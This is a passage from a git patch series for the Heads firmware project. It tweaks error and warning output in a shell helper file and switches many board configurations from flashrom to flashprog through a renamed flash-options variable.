268/619] ash_functions: make sure newlines are passed, fix error redirection Signed-off-by: Thierry Laurion --- initrd/etc/ash_functions | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/initrd/etc/ash_functions b/initrd/etc/ash_functions index bf6c6307a..5aec832cb 100644 --- a/initrd/etc/ash_functions +++ b/initrd/etc/ash_functions @@ -5,9 +5,9 @@ die() { if [ "$CONFIG_DEBUG_OUTPUT" = "y" ];then - echo " !!! ERROR: $* !!!" | tee -a /tmp/debug.log /dev/kmsg > /dev/null; + echo -e " !!! ERROR: $* !!!" | tee -a /tmp/debug.log /dev/kmsg > /dev/null; else - echo >&2 "!!! ERROR: $* !!!"; + echo -e "!!! ERROR: $* !!!" > &2; fi sleep 2; exit 1; @@ -15,9 +15,9 @@ die() { warn() { if [ "$CONFIG_DEBUG_OUTPUT" = "y" ];then - echo " *** WARNING: $* ***" | tee -a /tmp/debug.log /dev/kmsg > /dev/null; + echo -e " *** WARNING: $* ***" | tee -a /tmp/debug.log /dev/kmsg > /dev/null; else - echo >&2 " *** WARNING: $* ***"; + echo -e " *** WARNING: $* ***" > &2; fi sleep 1; } From 9b101f1454dd409232094d00c815778fea30e0b4 Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Sun, 1 Sep 2024 15:02:42 -0400 Subject: [PATCH 269/619] flash.sh: FLASHROM_OPTIONS->FLASH_OPTIONS: require FLASH_OPTIONS to specify flash program in board configs - boards: switch flashrom->flashprog, FLASH_OPTIONS: flashprog memory --progress --programmer internal TODO: check, Might break: - xx20 : x220/t420/t520: used hwseq: verify compat - legacy : not sure --ifd bios are support: verify compat (and drop, future PR drop legacy boards anyway...) - talos: linux_mtd is used: verify compat Tested: - x230 works with awesome progress bar on read, erase and write. Signed-off-by: Thierry Laurion --- ...UNMAINTAINED_kgpe-d16_server-whiptail.config | 4 ++-- .../UNMAINTAINED_kgpe-d16_server.config | 4 ++-- ...NED_kgpe-d16_workstation-usb_keyboard.config | 4 ++-- .../UNMAINTAINED_kgpe-d16_workstation.config | 4 ++-- boards/librem_11/librem_11.config | 4 ++-- boards/librem_13v2/librem_13v2.config | 4 ++-- boards/librem_13v4/librem_13v4.config | 4 ++-- boards/librem_14/librem_14.config | 4 ++-- boards/librem_15v3/librem_15v3.config | 4 ++-- boards/librem_15v4/librem_15v4.config | 4 ++-- boards/librem_l1um/librem_l1um.config | 4 ++-- boards/librem_l1um_v2/librem_l1um_v2.config | 4 ++-- boards/librem_mini/librem_mini.config | 4 ++-- boards/librem_mini_v2/librem_mini_v2.config | 4 ++-- boards/nitropad-ns50/nitropad-ns50.config | 4 ++-- boards/nitropad-nv41/nitropad-nv41.config | 4 ++-- .../qemu-coreboot-fbwhiptail-tpm1-hotp.config | 4 ++-- .../qemu-coreboot-fbwhiptail-tpm1.config | 4 ++-- .../qemu-coreboot-fbwhiptail-tpm2-hotp.config | 4 ++-- .../qemu-coreboot-fbwhiptail-tpm2.config | 4 ++-- .../qemu-coreboot-whiptail-tpm1-hotp.config | 4 ++-- .../qemu-coreboot-whiptail-tpm1.config | 4 ++-- .../qemu-coreboot-whiptail-tpm2-hotp.config | 4 ++-- .../qemu-coreboot-whiptail-tpm2.config | 3 +-- .../t420-hotp-maximized.config | 4 ++-- boards/t420-maximized/t420-maximized.config | 4 ++-- .../t430-hotp-maximized.config | 4 ++-- boards/t430-maximized/t430-maximized.config | 4 ++-- boards/t440p-maximized/t440p-maximized.config | 4 ++-- .../t530-hotp-maximized.config | 4 ++-- boards/t530-maximized/t530-maximized.config | 4 ++-- boards/talos-2/talos-2.config | 4 ++-- .../w530-hotp-maximized.config | 4 ++-- boards/w530-maximized/w530-maximized.config | 4 ++-- boards/w541-maximized/w541-maximized.config | 4 ++-- .../x220-hotp-maximized.config | 4 ++-- boards/x220-maximized/x220-maximized.config | 4 ++-- boards/x230-hotp-legacy/x230-hotp-legacy.config | 4 ++-- .../x230-hotp-maximized-fhd_edp.config | 4 ++-- .../x230-hotp-maximized.config | 4 ++-- .../x230-hotp-maximized_usb-kb.config | 4 ++-- .../x230-legacy-flash/x230-legacy-flash.config | 4 ++-- boards/x230-legacy/x230-legacy.config | 4 ++-- .../x230-maximized-fhd_edp.config | 4 ++-- boards/x230-maximized/x230-maximized.config | 4 ++-- .../z220-cmt-maximized.config | 6 +++--- initrd/bin/flash.sh | 17 +++++++++-------- initrd/etc/ash_functions | 4 ++-- ...MAINTAINED_p8z77-m_pro-tpm1-maximized.config | 4 ++-- .../UNMAINTAINED_qemu-linuxboot.config | 2 +- .../UNMAINTAINED_t420/UNMAINTAINED_t420.config | 4 ++-- .../UNMAINTAINED_t430-hotp-legacy.config | 4 ++-- .../UNMAINTAINED_t430-legacy-flash.config | 4 ++-- .../UNMAINTAINED_t430-legacy.config | 4 ++-- .../UNMAINTAINED_t520-hotp-maximized.config | 4 ++-- .../UNMAINTAINED_t520-maximized.config | 4 ++-- ...UNMAINTAINED_t530-dgpu-hotp-maximized.config | 4 ++-- .../UNMAINTAINED_t530-dgpu-maximized.config | 4 ++-- ...AINED_w530-dgpu-K1000m-hotp-maximized.config | 4 ++-- ...MAINTAINED_w530-dgpu-K1000m-maximized.config | 4 ++-- ...AINED_w530-dgpu-K2000m-hotp-maximized.config | 4 ++-- ...MAINTAINED_w530-dgpu-K2000m-maximized.config | 4 ++-- .../UNMAINTAINED_x220/UNMAINTAINED_x220.config | 4 ++-- .../UNTESTED_leopard/UNTESTED_leopard.config | 2 +- .../UNTESTED_r630/UNTESTED_r630.config | 2 +- .../UNTESTED_s2600wf/UNTESTED_s2600wf.config | 2 +- .../UNTESTED_tioga/UNTESTED_tioga.config | 2 +- .../UNTESTED_winterfell.config | 2 +- 68 files changed, 137 insertions(+), 137 deletions(-) diff --git a/boards/UNMAINTAINED_kgpe-d16_server-whiptail/UNMAINTAINED_kgpe-d16_server-whiptail.config b/boards/UNMAINTAINED_kgpe-d16_server-whiptail/UNMAINTAINED_kgpe-d16_server-whiptail.config index bad8c12c4..4a55e94f8 100644 --- a/boards/UNMAINTAINED_kgpe-d16_server-whiptail/UNMAINTAINED_kgpe-d16_server-whiptail.config +++ b/boards/UNMAINTAINED_kgpe-d16_server-whiptail/UNMAINTAINED_kgpe-d16_server-whiptail.config @@ -25,7 +25,7 @@ CONFIG_COREBOOT_CONFIG=config/coreboot-kgpe-d16_server-whiptail.config CONFIG_LINUX_CONFIG=config/linux-kgpe-d16_server-whiptail.config CONFIG_CRYPTSETUP=y -CONFIG_FLASHROM=y +CONFIG_FLASHPROG=y CONFIG_FLASHTOOLS=y CONFIG_GPG2=y CONFIG_KEXEC=y @@ -72,5 +72,5 @@ export CONFIG_BOOT_REQ_ROLLBACK=n export CONFIG_BOOT_KERNEL_REMOVE="plymouth.ignore-serial-consoles" export CONFIG_BOARD_NAME="KGPE-D16 Server-whiptail" export CONFIG_USB_BOOT_DEV="/dev/sdb1" -export CONFIG_FLASHROM_OPTIONS="--force --noverify -p internal" +export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal" #export CONFIG_BOOT_STATIC_IP=192.168.1.2 diff --git a/boards/UNMAINTAINED_kgpe-d16_server/UNMAINTAINED_kgpe-d16_server.config b/boards/UNMAINTAINED_kgpe-d16_server/UNMAINTAINED_kgpe-d16_server.config index 995ee637a..47cefb888 100644 --- a/boards/UNMAINTAINED_kgpe-d16_server/UNMAINTAINED_kgpe-d16_server.config +++ b/boards/UNMAINTAINED_kgpe-d16_server/UNMAINTAINED_kgpe-d16_server.config @@ -23,7 +23,7 @@ CONFIG_COREBOOT_CONFIG=config/coreboot-kgpe-d16_server.config CONFIG_LINUX_CONFIG=config/linux-kgpe-d16_server.config CONFIG_CRYPTSETUP=y -CONFIG_FLASHROM=y +CONFIG_FLASHPROG=y CONFIG_FLASHTOOLS=y CONFIG_GPG2=y CONFIG_KEXEC=y @@ -59,5 +59,5 @@ export CONFIG_BOOT_KERNEL_REMOVE="plymouth.ignore-serial-consoles" export CONFIG_BOARD_NAME="KGPE-D16 Server" export CONFIG_USB_BOOT_DEV="/dev/sdb1" -export CONFIG_FLASHROM_OPTIONS="--force --noverify -p internal" +export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal" #export CONFIG_BOOT_STATIC_IP=192.168.1.2 diff --git a/boards/UNMAINTAINED_kgpe-d16_workstation-usb_keyboard/UNMAINTAINED_kgpe-d16_workstation-usb_keyboard.config b/boards/UNMAINTAINED_kgpe-d16_workstation-usb_keyboard/UNMAINTAINED_kgpe-d16_workstation-usb_keyboard.config index 59ecbfd09..a82ebe36f 100644 --- a/boards/UNMAINTAINED_kgpe-d16_workstation-usb_keyboard/UNMAINTAINED_kgpe-d16_workstation-usb_keyboard.config +++ b/boards/UNMAINTAINED_kgpe-d16_workstation-usb_keyboard/UNMAINTAINED_kgpe-d16_workstation-usb_keyboard.config @@ -19,7 +19,7 @@ CONFIG_COREBOOT_CONFIG=config/coreboot-kgpe-d16_workstation-usb_keyboard.config CONFIG_LINUX_CONFIG=config/linux-kgpe-d16_workstation.config CONFIG_CRYPTSETUP=y -CONFIG_FLASHROM=y +CONFIG_FLASHPROG=y CONFIG_FLASHTOOLS=y CONFIG_GPG2=y CONFIG_KEXEC=y @@ -67,4 +67,4 @@ export CONFIG_BOOT_REQ_ROLLBACK=n #export CONFIG_BOOT_KERNEL_REMOVE="plymouth.ignore-serial-consoles" export CONFIG_BOARD_NAME="KGPE-D16 Workstation-USB-Keyboard" export CONFIG_USB_BOOT_DEV="/dev/sdb1" -export CONFIG_FLASHROM_OPTIONS="--force --noverify -p internal" +export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal" diff --git a/boards/UNMAINTAINED_kgpe-d16_workstation/UNMAINTAINED_kgpe-d16_workstation.config b/boards/UNMAINTAINED_kgpe-d16_workstation/UNMAINTAINED_kgpe-d16_workstation.config index d88ad6ce3..8972c9baa 100644 --- a/boards/UNMAINTAINED_kgpe-d16_workstation/UNMAINTAINED_kgpe-d16_workstation.config +++ b/boards/UNMAINTAINED_kgpe-d16_workstation/UNMAINTAINED_kgpe-d16_workstation.config @@ -23,7 +23,7 @@ CONFIG_COREBOOT_CONFIG=config/coreboot-kgpe-d16_workstation.config CONFIG_LINUX_CONFIG=config/linux-kgpe-d16_workstation.config CONFIG_CRYPTSETUP=y -CONFIG_FLASHROM=y +CONFIG_FLASHPROG=y CONFIG_FLASHTOOLS=y CONFIG_GPG2=y CONFIG_KEXEC=y @@ -68,4 +68,4 @@ export CONFIG_BOOT_REQ_ROLLBACK=n #export CONFIG_BOOT_KERNEL_REMOVE="plymouth.ignore-serial-consoles" export CONFIG_BOARD_NAME="KGPE-D16 Workstation" export CONFIG_USB_BOOT_DEV="/dev/sdb1" -export CONFIG_FLASHROM_OPTIONS="--force --noverify -p internal" +export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal" diff --git a/boards/librem_11/librem_11.config b/boards/librem_11/librem_11.config index 2610fb7a0..0c26c8f5c 100644 --- a/boards/librem_11/librem_11.config +++ b/boards/librem_11/librem_11.config @@ -7,7 +7,7 @@ export CONFIG_COREBOOT_VERSION=purism export CONFIG_LINUX_VERSION=6.1.8 CONFIG_CRYPTSETUP2=y -CONFIG_FLASHROM=y +CONFIG_FLASHPROG=y CONFIG_FLASHTOOLS=y CONFIG_GPG2=y CONFIG_KEXEC=y @@ -36,7 +36,7 @@ export CONFIG_BOOT_REQ_ROLLBACK=n export CONFIG_BOOT_KERNEL_ADD="" export CONFIG_BOOT_KERNEL_REMOVE="" export CONFIG_BOARD_NAME="Librem 11" -export CONFIG_FLASHROM_OPTIONS="-p internal" +export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal" export CONFIG_USB_KEYBOARD_REQUIRED=y export CONFIG_AUTO_BOOT_TIMEOUT=5 export CONFIG_ROOT_DEV="/dev/nvme0n1p2" diff --git a/boards/librem_13v2/librem_13v2.config b/boards/librem_13v2/librem_13v2.config index 49c5dde11..6d1e352d9 100644 --- a/boards/librem_13v2/librem_13v2.config +++ b/boards/librem_13v2/librem_13v2.config @@ -7,7 +7,7 @@ export CONFIG_COREBOOT_VERSION=purism export CONFIG_LINUX_VERSION=6.1.8 CONFIG_CRYPTSETUP2=y -CONFIG_FLASHROM=y +CONFIG_FLASHPROG=y CONFIG_FLASHTOOLS=y CONFIG_GPG2=y CONFIG_KEXEC=y @@ -36,7 +36,7 @@ export CONFIG_BOOT_REQ_ROLLBACK=n export CONFIG_BOOT_KERNEL_ADD="" export CONFIG_BOOT_KERNEL_REMOVE="" export CONFIG_BOARD_NAME="Librem 13 v2/v3" -export CONFIG_FLASHROM_OPTIONS="-p internal" +export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal" export CONFIG_AUTO_BOOT_TIMEOUT=5 export CONFIG_ROOT_DEV="/dev/nvme0n1p2" export CONFIG_ROOT_DIRLIST="bin boot lib sbin usr" diff --git a/boards/librem_13v4/librem_13v4.config b/boards/librem_13v4/librem_13v4.config index d3ed7b020..b4d3a93b5 100644 --- a/boards/librem_13v4/librem_13v4.config +++ b/boards/librem_13v4/librem_13v4.config @@ -7,7 +7,7 @@ export CONFIG_COREBOOT_VERSION=purism export CONFIG_LINUX_VERSION=6.1.8 CONFIG_CRYPTSETUP2=y -CONFIG_FLASHROM=y +CONFIG_FLASHPROG=y CONFIG_FLASHTOOLS=y CONFIG_GPG2=y CONFIG_KEXEC=y @@ -36,7 +36,7 @@ export CONFIG_BOOT_REQ_ROLLBACK=n export CONFIG_BOOT_KERNEL_ADD="" export CONFIG_BOOT_KERNEL_REMOVE="" export CONFIG_BOARD_NAME="Librem 13 v4" -export CONFIG_FLASHROM_OPTIONS="-p internal" +export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal" export CONFIG_AUTO_BOOT_TIMEOUT=5 export CONFIG_ROOT_DEV="/dev/nvme0n1p2" export CONFIG_ROOT_DIRLIST="bin boot lib sbin usr" diff --git a/boards/librem_14/librem_14.config b/boards/librem_14/librem_14.config index 47ca137f5..2596ee0b5 100644 --- a/boards/librem_14/librem_14.config +++ b/boards/librem_14/librem_14.config @@ -7,7 +7,7 @@ export CONFIG_COREBOOT_VERSION=purism export CONFIG_LINUX_VERSION=6.1.8 CONFIG_CRYPTSETUP2=y -CONFIG_FLASHROM=y +CONFIG_FLASHPROG=y CONFIG_FLASHTOOLS=y CONFIG_GPG2=y CONFIG_KEXEC=y @@ -35,7 +35,7 @@ export CONFIG_BOOT_REQ_ROLLBACK=n export CONFIG_BOOT_KERNEL_ADD="" export CONFIG_BOOT_KERNEL_REMOVE="" export CONFIG_BOARD_NAME="Librem 14" -export CONFIG_FLASHROM_OPTIONS="-p internal" +export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal" export CONFIG_AUTO_BOOT_TIMEOUT=5 export CONFIG_ROOT_DEV="/dev/nvme0n1p2" diff --git a/boards/librem_15v3/librem_15v3.config b/boards/librem_15v3/librem_15v3.config index ec5620b31..77db0afbd 100644 --- a/boards/librem_15v3/librem_15v3.config +++ b/boards/librem_15v3/librem_15v3.config @@ -7,7 +7,7 @@ export CONFIG_COREBOOT_VERSION=purism export CONFIG_LINUX_VERSION=6.1.8 CONFIG_CRYPTSETUP2=y -CONFIG_FLASHROM=y +CONFIG_FLASHPROG=y CONFIG_FLASHTOOLS=y CONFIG_GPG2=y CONFIG_KEXEC=y @@ -36,7 +36,7 @@ export CONFIG_BOOT_REQ_ROLLBACK=n export CONFIG_BOOT_KERNEL_ADD="" export CONFIG_BOOT_KERNEL_REMOVE="" export CONFIG_BOARD_NAME="Librem 15 v3" -export CONFIG_FLASHROM_OPTIONS="-p internal" +export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal" export CONFIG_AUTO_BOOT_TIMEOUT=5 export CONFIG_ROOT_DEV="/dev/nvme0n1p2" export CONFIG_ROOT_DIRLIST="bin boot lib sbin usr" diff --git a/boards/librem_15v4/librem_15v4.config b/boards/librem_15v4/librem_15v4.config index 6f9b3cef7..c8674f734 100644 --- a/boards/librem_15v4/librem_15v4.config +++ b/boards/librem_15v4/librem_15v4.config @@ -7,7 +7,7 @@ export CONFIG_COREBOOT_VERSION=purism export CONFIG_LINUX_VERSION=6.1.8 CONFIG_CRYPTSETUP2=y -CONFIG_FLASHROM=y +CONFIG_FLASHPROG=y CONFIG_FLASHTOOLS=y CONFIG_GPG2=y CONFIG_KBD=y @@ -37,7 +37,7 @@ export CONFIG_BOOT_REQ_ROLLBACK=n export CONFIG_BOOT_KERNEL_ADD="" export CONFIG_BOOT_KERNEL_REMOVE="" export CONFIG_BOARD_NAME="Librem 15 v4" -export CONFIG_FLASHROM_OPTIONS="-p internal" +export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal" export CONFIG_AUTO_BOOT_TIMEOUT=5 export CONFIG_ROOT_DEV="/dev/nvme0n1p2" export CONFIG_ROOT_DIRLIST="bin boot lib sbin usr" diff --git a/boards/librem_l1um/librem_l1um.config b/boards/librem_l1um/librem_l1um.config index 98f76a5c8..81627f08a 100644 --- a/boards/librem_l1um/librem_l1um.config +++ b/boards/librem_l1um/librem_l1um.config @@ -8,7 +8,7 @@ export CONFIG_LINUX_VERSION=5.10.5 export CONFIG_PURISM_BLOBS=y CONFIG_CRYPTSETUP2=y -CONFIG_FLASHROM=y +CONFIG_FLASHPROG=y CONFIG_FLASHTOOLS=y CONFIG_GPG2=y CONFIG_KEXEC=y @@ -36,7 +36,7 @@ export CONFIG_BOOT_KERNEL_ADD="intel_iommu=on" export CONFIG_BOOT_KERNEL_REMOVE="plymouth.ignore-serial-consoles" export CONFIG_BOARD_NAME="Librem Server L1UM" export CONFIG_AUTO_BOOT_TIMEOUT=5 -export CONFIG_FLASHROM_OPTIONS="-p internal" +export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal" export CONFIG_USB_KEYBOARD_REQUIRED=y export CONFIG_ROOT_DEV="/dev/nvme0n1p2" export CONFIG_ROOT_DIRLIST="bin boot lib sbin usr" diff --git a/boards/librem_l1um_v2/librem_l1um_v2.config b/boards/librem_l1um_v2/librem_l1um_v2.config index 3981a1a89..8564a0409 100644 --- a/boards/librem_l1um_v2/librem_l1um_v2.config +++ b/boards/librem_l1um_v2/librem_l1um_v2.config @@ -7,7 +7,7 @@ export CONFIG_COREBOOT_VERSION=purism export CONFIG_LINUX_VERSION=6.1.8 CONFIG_CRYPTSETUP2=y -CONFIG_FLASHROM=y +CONFIG_FLASHPROG=y CONFIG_FLASHTOOLS=y CONFIG_GPG2=y CONFIG_KEXEC=y @@ -40,7 +40,7 @@ export CONFIG_BOOT_KERNEL_REMOVE="plymouth.ignore-serial-consoles" export CONFIG_BOOT_RECOVERY_SERIAL="/dev/ttyS0" export CONFIG_BOARD_NAME="Librem Server L1UM v2" export CONFIG_AUTO_BOOT_TIMEOUT=5 -export CONFIG_FLASHROM_OPTIONS="-p internal" +export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal" export CONFIG_USB_KEYBOARD_REQUIRED=y export CONFIG_ROOT_DEV="/dev/nvme0n1p2" export CONFIG_ROOT_DIRLIST="bin boot lib sbin usr" diff --git a/boards/librem_mini/librem_mini.config b/boards/librem_mini/librem_mini.config index 6e3f71767..6b1a9c552 100644 --- a/boards/librem_mini/librem_mini.config +++ b/boards/librem_mini/librem_mini.config @@ -7,7 +7,7 @@ export CONFIG_COREBOOT_VERSION=purism export CONFIG_LINUX_VERSION=6.1.8 CONFIG_CRYPTSETUP2=y -CONFIG_FLASHROM=y +CONFIG_FLASHPROG=y CONFIG_FLASHTOOLS=y CONFIG_GPG2=y CONFIG_IOPORT=y @@ -36,7 +36,7 @@ export CONFIG_BOOT_REQ_ROLLBACK=n export CONFIG_BOOT_KERNEL_ADD="" export CONFIG_BOOT_KERNEL_REMOVE="" export CONFIG_BOARD_NAME="Librem Mini" -export CONFIG_FLASHROM_OPTIONS="-p internal" +export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal" export CONFIG_USB_KEYBOARD_REQUIRED=y export CONFIG_AUTO_BOOT_TIMEOUT=5 export CONFIG_ROOT_DEV="/dev/nvme0n1p2" diff --git a/boards/librem_mini_v2/librem_mini_v2.config b/boards/librem_mini_v2/librem_mini_v2.config index 0325ecab0..241842126 100644 --- a/boards/librem_mini_v2/librem_mini_v2.config +++ b/boards/librem_mini_v2/librem_mini_v2.config @@ -7,7 +7,7 @@ export CONFIG_COREBOOT_VERSION=purism export CONFIG_LINUX_VERSION=6.1.8 CONFIG_CRYPTSETUP2=y -CONFIG_FLASHROM=y +CONFIG_FLASHPROG=y CONFIG_FLASHTOOLS=y CONFIG_GPG2=y CONFIG_IOPORT=y @@ -36,7 +36,7 @@ export CONFIG_BOOT_REQ_ROLLBACK=n export CONFIG_BOOT_KERNEL_ADD="" export CONFIG_BOOT_KERNEL_REMOVE="" export CONFIG_BOARD_NAME="Librem Mini v2" -export CONFIG_FLASHROM_OPTIONS="-p internal" +export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal" export CONFIG_USB_KEYBOARD_REQUIRED=y export CONFIG_AUTO_BOOT_TIMEOUT=5 export CONFIG_ROOT_DEV="/dev/nvme0n1p2" diff --git a/boards/nitropad-ns50/nitropad-ns50.config b/boards/nitropad-ns50/nitropad-ns50.config index 07117cb82..038e169f7 100644 --- a/boards/nitropad-ns50/nitropad-ns50.config +++ b/boards/nitropad-ns50/nitropad-ns50.config @@ -21,7 +21,7 @@ CONFIG_MOBILE_TETHERING=y #Modules packed into tools.cpio CONFIG_CRYPTSETUP2=y -CONFIG_FLASHROM=y +CONFIG_FLASHPROG=y CONFIG_FLASHTOOLS=y CONFIG_GPG2=y CONFIG_KEXEC=y @@ -68,5 +68,5 @@ export CONFIG_BOOT_REQ_ROLLBACK=n export CONFIG_BOOT_KERNEL_ADD="" export CONFIG_BOOT_KERNEL_REMOVE="intel_iommu=on intel_iommu=igfx_off" export CONFIG_BOARD_NAME="Nitropad NS50" -export CONFIG_FLASHROM_OPTIONS="--force --noverify-all -p internal" +export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal" export CONFIG_AUTO_BOOT_TIMEOUT=5 diff --git a/boards/nitropad-nv41/nitropad-nv41.config b/boards/nitropad-nv41/nitropad-nv41.config index adca07c6a..b669aae37 100644 --- a/boards/nitropad-nv41/nitropad-nv41.config +++ b/boards/nitropad-nv41/nitropad-nv41.config @@ -21,7 +21,7 @@ CONFIG_MOBILE_TETHERING=y #Modules packed into tools.cpio CONFIG_CRYPTSETUP2=y -CONFIG_FLASHROM=y +CONFIG_FLASHPROG=y CONFIG_FLASHTOOLS=y CONFIG_GPG2=y CONFIG_KEXEC=y @@ -68,5 +68,5 @@ export CONFIG_BOOT_REQ_ROLLBACK=n export CONFIG_BOOT_KERNEL_ADD="" export CONFIG_BOOT_KERNEL_REMOVE="intel_iommu=on intel_iommu=igfx_off" export CONFIG_BOARD_NAME="Nitropad NV41" -export CONFIG_FLASHROM_OPTIONS="--force --noverify-all -p internal" +export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal" export CONFIG_AUTO_BOOT_TIMEOUT=5 diff --git a/boards/qemu-coreboot-fbwhiptail-tpm1-hotp/qemu-coreboot-fbwhiptail-tpm1-hotp.config b/boards/qemu-coreboot-fbwhiptail-tpm1-hotp/qemu-coreboot-fbwhiptail-tpm1-hotp.config index b4c6b3a1f..b2a46559f 100644 --- a/boards/qemu-coreboot-fbwhiptail-tpm1-hotp/qemu-coreboot-fbwhiptail-tpm1-hotp.config +++ b/boards/qemu-coreboot-fbwhiptail-tpm1-hotp/qemu-coreboot-fbwhiptail-tpm1-hotp.config @@ -39,7 +39,7 @@ CONFIG_BUSYBOX=n else #Modules packed into tools.cpio CONFIG_CRYPTSETUP2=y -CONFIG_FLASHROM=y +CONFIG_FLASHPROG=y CONFIG_FLASHTOOLS=y CONFIG_GPG2=y CONFIG_KEXEC=y @@ -91,7 +91,7 @@ export CONFIG_BOOT_RECOVERY_SERIAL="/dev/ttyS0" export CONFIG_BOOT_KERNEL_ADD="console=ttyS0 console=tty systemd.zram=0" export CONFIG_BOOT_KERNEL_REMOVE="quiet rhgb splash" export CONFIG_BOARD_NAME="qemu-coreboot-fbwhiptail-tpm1-hotp" -#export CONFIG_FLASHROM_OPTIONS="-p internal" +#export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal" export CONFIG_AUTO_BOOT_TIMEOUT=5 BOARD_TARGETS := qemu diff --git a/boards/qemu-coreboot-fbwhiptail-tpm1/qemu-coreboot-fbwhiptail-tpm1.config b/boards/qemu-coreboot-fbwhiptail-tpm1/qemu-coreboot-fbwhiptail-tpm1.config index be28d0bc6..1690918db 100644 --- a/boards/qemu-coreboot-fbwhiptail-tpm1/qemu-coreboot-fbwhiptail-tpm1.config +++ b/boards/qemu-coreboot-fbwhiptail-tpm1/qemu-coreboot-fbwhiptail-tpm1.config @@ -37,7 +37,7 @@ CONFIG_BUSYBOX=n else #Modules packed into tools.cpio CONFIG_CRYPTSETUP2=y -CONFIG_FLASHROM=y +CONFIG_FLASHPROG=y CONFIG_FLASHTOOLS=y CONFIG_GPG2=y CONFIG_KEXEC=y @@ -89,7 +89,7 @@ export CONFIG_BOOT_RECOVERY_SERIAL="/dev/ttyS0" export CONFIG_BOOT_KERNEL_ADD="console=ttyS0 console=tty systemd.zram=0" export CONFIG_BOOT_KERNEL_REMOVE="quiet rhgb splash" export CONFIG_BOARD_NAME="qemu-coreboot-fbwhiptail-tpm1" -#export CONFIG_FLASHROM_OPTIONS="-p internal" +#export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal" #export CONFIG_AUTO_BOOT_TIMEOUT=5 BOARD_TARGETS := qemu diff --git a/boards/qemu-coreboot-fbwhiptail-tpm2-hotp/qemu-coreboot-fbwhiptail-tpm2-hotp.config b/boards/qemu-coreboot-fbwhiptail-tpm2-hotp/qemu-coreboot-fbwhiptail-tpm2-hotp.config index 3c589c8fb..f23fd7b09 100644 --- a/boards/qemu-coreboot-fbwhiptail-tpm2-hotp/qemu-coreboot-fbwhiptail-tpm2-hotp.config +++ b/boards/qemu-coreboot-fbwhiptail-tpm2-hotp/qemu-coreboot-fbwhiptail-tpm2-hotp.config @@ -38,7 +38,7 @@ CONFIG_BUSYBOX=n else #Modules packed into tools.cpio CONFIG_CRYPTSETUP2=y -CONFIG_FLASHROM=y +CONFIG_FLASHPROG=y CONFIG_FLASHTOOLS=y CONFIG_GPG2=y CONFIG_KEXEC=y @@ -90,7 +90,7 @@ export CONFIG_BOOT_RECOVERY_SERIAL="/dev/ttyS0" export CONFIG_BOOT_KERNEL_ADD="console=ttyS0 console=tty systemd.zram=0" export CONFIG_BOOT_KERNEL_REMOVE="quiet rhgb splash" export CONFIG_BOARD_NAME="qemu-coreboot-fbwhiptail-tpm2-hotp" -#export CONFIG_FLASHROM_OPTIONS="-p internal" +#export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal" export CONFIG_AUTO_BOOT_TIMEOUT=5 BOARD_TARGETS := qemu diff --git a/boards/qemu-coreboot-fbwhiptail-tpm2/qemu-coreboot-fbwhiptail-tpm2.config b/boards/qemu-coreboot-fbwhiptail-tpm2/qemu-coreboot-fbwhiptail-tpm2.config index cca9f0df3..fbb1b5e45 100644 --- a/boards/qemu-coreboot-fbwhiptail-tpm2/qemu-coreboot-fbwhiptail-tpm2.config +++ b/boards/qemu-coreboot-fbwhiptail-tpm2/qemu-coreboot-fbwhiptail-tpm2.config @@ -37,7 +37,7 @@ CONFIG_BUSYBOX=n else #Modules packed into tools.cpio CONFIG_CRYPTSETUP2=y -CONFIG_FLASHROM=y +CONFIG_FLASHPROG=y CONFIG_FLASHTOOLS=y CONFIG_GPG2=y CONFIG_KEXEC=y @@ -89,7 +89,7 @@ export CONFIG_BOOT_RECOVERY_SERIAL="/dev/ttyS0" export CONFIG_BOOT_KERNEL_ADD="console=ttyS0 console=tty systemd.zram=0" export CONFIG_BOOT_KERNEL_REMOVE="quiet rhgb splash" export CONFIG_BOARD_NAME="qemu-coreboot-fbwhiptail-tpm2" -#export CONFIG_FLASHROM_OPTIONS="-p internal" +#export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal" #export CONFIG_AUTO_BOOT_TIMEOUT=5 BOARD_TARGETS := qemu diff --git a/boards/qemu-coreboot-whiptail-tpm1-hotp/qemu-coreboot-whiptail-tpm1-hotp.config b/boards/qemu-coreboot-whiptail-tpm1-hotp/qemu-coreboot-whiptail-tpm1-hotp.config index fafdcaf88..e8f7fb839 100644 --- a/boards/qemu-coreboot-whiptail-tpm1-hotp/qemu-coreboot-whiptail-tpm1-hotp.config +++ b/boards/qemu-coreboot-whiptail-tpm1-hotp/qemu-coreboot-whiptail-tpm1-hotp.config @@ -39,7 +39,7 @@ CONFIG_BUSYBOX=n else #Modules packed into tools.cpio CONFIG_CRYPTSETUP2=y -CONFIG_FLASHROM=y +CONFIG_FLASHPROG=y CONFIG_FLASHTOOLS=y CONFIG_GPG2=y CONFIG_KEXEC=y @@ -91,7 +91,7 @@ export CONFIG_BOOT_RECOVERY_SERIAL="/dev/ttyS0" export CONFIG_BOOT_KERNEL_ADD="console=ttyS0 console=tty systemd.zram=0" export CONFIG_BOOT_KERNEL_REMOVE="quiet rhgb splash" export CONFIG_BOARD_NAME="qemu-coreboot-whiptail-tpm1-hotp" -#export CONFIG_FLASHROM_OPTIONS="-p internal" +#export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal" export CONFIG_AUTO_BOOT_TIMEOUT=5 BOARD_TARGETS := qemu diff --git 